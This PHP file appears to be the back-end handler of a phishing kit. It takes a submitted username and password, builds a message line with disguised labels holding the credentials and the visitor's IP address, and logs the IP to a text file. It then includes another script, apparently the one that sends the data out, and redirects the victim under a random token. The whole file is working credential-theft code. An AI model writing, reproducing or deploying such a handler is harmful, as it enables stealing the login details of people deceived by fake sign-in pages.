<?php

require '../nikks/nyner.php';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = isset($_POST['username']) ? trim($_POST['username']) : '';
    $password = isset($_POST['password']) ? trim($_POST['password']) : '';
	$ip = $_SERVER['REMOTE_ADDR'];

    if ($username === '' || $password === '') {
        echo "error";
        exit;
    }

    // Prepare data line    
    $message = "YMMB: $username | TPPF: $password | IP : $ip  . \n";
$text = fopen('dumis.txt', 'a');
fwrite($text, $ip);
$nkec = base64_encode(time().sha1($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT']).md5(uniqid(rand(), true)));
	include '../sinpden.php';
header("Location: ./apvmstnr.php?$nkec");
    echo "success";
} else {
    echo "error";
}
